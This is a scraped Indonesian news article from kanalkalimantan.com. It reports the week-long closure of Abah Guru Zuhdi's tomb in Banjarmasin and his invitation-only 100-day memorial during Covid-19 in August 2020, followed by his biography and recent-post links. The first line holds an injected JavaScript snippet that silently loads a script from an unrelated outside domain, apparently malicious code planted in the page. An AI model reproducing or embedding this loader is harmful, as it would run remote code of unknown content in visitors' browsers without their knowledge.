(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Kubah Abah Guru Zuhdi Ditutup Sepekan, Peringatan 100 Hari Terbatas Undangan Khusus Â


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang peringatan 100 hari wafat ulama kharismatik KH Ahmad Zuhdianoor atau Abah Guru Zuhdi, pihak pengelola akan menutup area kubah yang berlokasi di jalan belakang Masjid Jami, Banjarmasin Utara, untuk sementara waktu.

Dikutip dari pengumuman resmi pihak pengelola kubah, penutupan akan dilakukan selama sepekan yakni mulai Jumat 7 hingga Kamis 13 Agustus 2020.

Sehubungan dengan pandemi Covid-19 yang masih melanda, pihak pengelola kubah Abah Guru Zuhdi mengadakan acara peringatan 100 hari wafat Al’alimul Allamah KH Ahmad Zuhdianoor secara terbatas atau hanya khusus untuk undangan. Acara 100 hari wafat Abah Guru Zuhdi akan digelar pada Sabtu 8 Agustus 2020, setelah Sholat Isya, di area kubah.

“Kita tetap meminta kepada masyarakat umum dan jemaah pada khususnya, untuk mendo’akan beliau di rumah masing-masing dan diberikan kelancaran pada acara tersebut,” ujar Majediannoor, Ketua Pengelola Kubah dari pengumuman resmi yang beredar dari grup-grup WA hingga media sosial.

Sebagai gantinya, pihak pengelola akan menyiarkan peringatan 100 hari wafatnya Abah Guru Zuhdi tersebut secara live streaming melalui akun YouTube Aswaja.Net.

Majediannor juga menegaskan bahwa pada malam peringatan 100 hari Abah Guru Zuhdi, pihak keluarga tidak meminta sumbangan dengan cara apapun.

Pengumuman resmi dari pihak pengelola kubah. (pengelola kubah)

Menanggapi informasi di atas, salah seorang jemaah muhibbin Abah Guru Zuhdi, Hadianoor (30) mengaku cukup terkejut dengan kabar penutupan makam. Itu karena ia jauh-jauh hari sudah mempersiapkan diri bisa berhadir pada acara 100 hari Abah Guru Zuhdi.

Meski begitu, dirinya mengaku tetap akan mendo’akan dari rumah dan tetap mengerti dengan keputusan pihak pengelola kubah/makam yang berupaya mencegah penularan virus corona.

“Seandainya tidak dibatasi mau hadir. Tapi karena memang harus ditutup, ya cukup mendo’akan dari rumah saja. Insyaallah sampai aja kiriman do’anya,” kata Hadi.

Sekadara membuka memori kembali, Kalimantan Selatan kehilangan salah satu ulama besar yang kharismatik, Tuan Guru KH Ahmad Zuhdianoor yang biasa disapa Guru Zuhdi pada Sabtu 2 Mei 2020.

Ulama panutan itu meangkhiri hayatnya di RS Medistra Jakarta pada Sabtu (2/5/2020) sekitar pukul 06.43 WIB. Beliau dikenal memiliki kekhasan tersendiri dalam dalam berdakwah, sehingga tak heran banyak jemaahnya dari kalangan tua dan muda yang memenuhi pengajiannya.

Untuk diketahui, Abah Guru Zuhdi lahir pada 10 Februari 1972 atau 24 Zulhijah 1391 H. Guru Zuhdi merupakan anak dari KH Muhammad yang merupakan pimpinan Pondok Pesantren Al Falah periode 1986-1993.

Ia pernah menimba ilmu di Pesantren Al-Falah Banjarbaru. Namun karena sering sakit, Tuan Guru Zuhdi kemudian mengaji kepada sang kakek di Alabio. Setelah kakeknya wafat, dia kembali ke Banjarmasin dan kemudian mengaji ilmu dengan KH Abdul Syukur di Teluk Tiram, Banjarmasin

Semasa hidup, Abah Guru Zuhdi mengisi banyak majelis taklim di antaranya, majelis taklim di komplek Pondok Indah Banjarmasin, kemudian di rumah pribadi jalan samping Mesjid Jami Sungai Jingah, Majelis Taklim di Masjid Sabilah Muhtadin dan Masjid Jami Sungai Jingah Banjarmasin.

Pada awal Abah Guru Zuhdi merintis majelis, jumlah jemaah yang mengikuti pengajiannya belum sebesar saat terakhir sebelum wafat. Kala itu, beliau memulai pengajian dari kitab yang ditulis tangan oleh Guru Sekumpul. Lantaran itu, jemaah yang hadir di pengajiannya merasa terobati rindunya kepada Guru Sekumpul.

Selain itu, gaya bicara dan penjelasan Guru Zuhdi dalam bermajelis seperti Abah Guru Sekumpul. Meski begitu, banyak orang yang tidak berani menyamakannya Guru Zuhdi dengan pangkat serta kedudukan Guru Sekumpul.

Tuan Guru Zuhdi pernah bepesan kepada jemaahnya;

Pas ikam (kamu) di majelis ku, karamkan (tenggelamkan perasaan ikam (kamu), kalau ikam (kamu) ada di Majelis Abah Guru Sekumpul, dirasakan kalau membacakan kitab itu Abah Guru Sekumpul lain aku, Aku pun jar sidin mengaramkan perasaan ku kalau yang membacakan kitab adalah Abah Guru Sekumpul lain aku. (kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.